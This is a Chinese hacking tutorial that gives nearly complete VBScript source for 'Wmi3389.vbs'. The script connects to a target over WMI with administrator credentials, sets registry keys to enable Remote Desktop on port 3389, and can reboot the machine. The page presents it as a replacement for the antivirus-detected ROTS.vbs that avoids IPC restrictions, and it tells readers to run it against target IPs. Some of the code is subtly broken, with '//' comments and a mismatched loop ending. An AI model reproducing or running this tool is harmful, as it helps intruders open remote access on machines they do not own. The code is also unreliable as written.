WMI祥解三:编写WMI版本的ROTS.vbs来开启3389

时间:2010年04月12日 点击:434

三:手把手教你编写WMI版本的ROTS.vbs来开启3389
=====================================================================================
zzzVEAzzz 的脚本就分析到这里吧,怎么样?很EASY吧?!我相信大家现在一定蠢蠢欲动了?:)好,一起来写一个什么程序呢?ROTS.vbs我想大家一定都用过吧?什么东东啊?我……砸!大家应该知道这个ROTS是有它的使用条件的,不仅要有管理员帐号,还要允许进行ipc连接,在这个到处都是墙的年代,ipc 早就不实用了,而且ROTS.vbs早就被查杀了,那该怎么办?当然是自己动手了。能不能实现ROTS的一样的远程开启3389的功能而不受ipc的限制呢?答案自从我写了这篇文章后成为肯定的,哈哈,吹吹了。
当然我们也是要求系统至少是2000server及以上的,最近看到有个软件可以给2000pro开3389,由于比较忙,也没怎么去理它,这里我们暂且不说它,知道了原理一样好办。
开启3389有个注册表导入的方法,其它一些软件的开法,我想也大多是通过修改注册表实现的。这个方法需要导入如下的注册表:
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache]
"Enabled"="0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
"ShutdownWithoutLogon"="0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer]
"EnableAdminTSRemote"=dword:00000001
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]
"TSEnabled"=dword:00000001
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD]
"Start"=dword:00000002
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService]
"Start"=dword:00000002
[HKEY_USERS\.DEFAULT\Keyboard Layout\Toggle]
"Hotkey"="1"

原理知道了就没什么难的了,先理清我们的思路,我们的主要任务是更改注册表里的键值。首先是创建WMI对象,然后是连接到远程WMI服务器,最后修改注册表键值。
部分主要代码如下(完整的代码和详细的注释请看附带的软件包)

on error resume next
//防止出现意外。
set outstreem=wscript.stdout
if (lcase(right(wscript.fullname,11))="wscript.exe") then
set objShell=wscript.createObject("wscript.shell")
objShell.Run("cmd.exe /k cscript //nologo "&chr(34)&wscript.scriptfullname&chr(34))
//cmd后带/K参数表示执行字符串指定的命令。
wscript.quit
end if
//进行简单的检查。
if wscript.arguments.count<3 then
usage()
wscript.echo "Not enough parameters."
wscript.quit
end if
//取出参数,分别赋予几个变量。
ipaddress=wscript.arguments(0)
username=wscript.arguments(1)
password=wscript.arguments(2)
option=wscript.arguments(3)
usage()

下面是核心代码,也是实现远程修改注册表的功能,我这里给出另外一种实现的方式,对照前面的代码很容易理解,我就只作简单的解释了。详细情况可以参阅MSDN文档中关于StdRegProv类的说明。
http://msdn.microsoft.com/library/default.asp?url=/library/en-us/wmisdk/wmi/stdregprov.asp

const HKEY_LOCAL_MACHINE = &H80000002
const HKEY_USERS=&H80000003
strComputer = ipaddress

//获取wmi对象
Set oReg=GetObject("winmgmts:!\\" &_
strComputer & "\root\default:StdRegProv")

strKeyPath = "SOFTWARE\Microsoft\Windows\CurrentVersion\netcache"
strValueName = "Enabled"
strValue=0
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue

strKeyPath = "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
strValueName = "ShutdownWithoutLogon"
strValue=0
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue

strKeyPath = "SOFTWARE\Policies\Microsoft\Windows\Installer"
strValueName = "EnableAdminTSRemote"
strValue=1
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue

strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server"
strValueName = "TSEnabled"
strValue=1
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue

strKeyPath = "SYSTEM\CurrentControlSet\Services\TermDD"
strValueName = "Start"
strValue=2
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue

strKeyPath = "SYSTEM\CurrentControlSet\Services\TermService"
strValueName = "Start"
strValue=2
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue

strKeyPath = ".DEFAULT\Keyboard Layout\Toggle"
strValueName = "Hotkey"
strValue=1
oReg.SetDWORDValue HKEY_USERS,strKeyPath,strValueName,strValue

//下面实现重启远程机器
if option="/r" then
outstreem.write "Now, rebooting target...."
strwmiquery="select * from win32_operatingsystem where primary=&apos;true&apos;"
set colinstances=objswbemservices.execquery(strwmiquery)
for each objinstance in colinstances
objinstance.win32shutdown(2)
end if
outstreem.write "Ok, rebooted the target."

//简单的用法说明的函数。
function usage()
wscript.echo string(60,"=")
wscript.echo "Wmi3389 v1.0.0"
wscript.echo "No ipc Open 3389, code written by pye."
wscript.echo "Welcome to visite www.coon.cn or Mail to grandh4408@yahoo.com.cn"
wscript.echo "Usage:"
wscript.echo "cscript "&wscript.scriptfullname&" targetIP username password [/r]"
wscript.echo "/r reboot the target this is optional"
wscript.echo "It use WMI to Open 3389 of target server."
wscript.echo string(60,"=")&vbcrlf
end function
将上面的代码复制带记事本里,保存为Wmi3389.vbs。然后在CMD里执行:
cscript Wmi3389.vbs ipaddress administrator password [/r]
看看是不是和ROTS.vbs有一样的效果啊?大家赶快实践实践吧。

www.zdexe.com

赞助商链接

热门内容

相关内容

联系我们

联系方式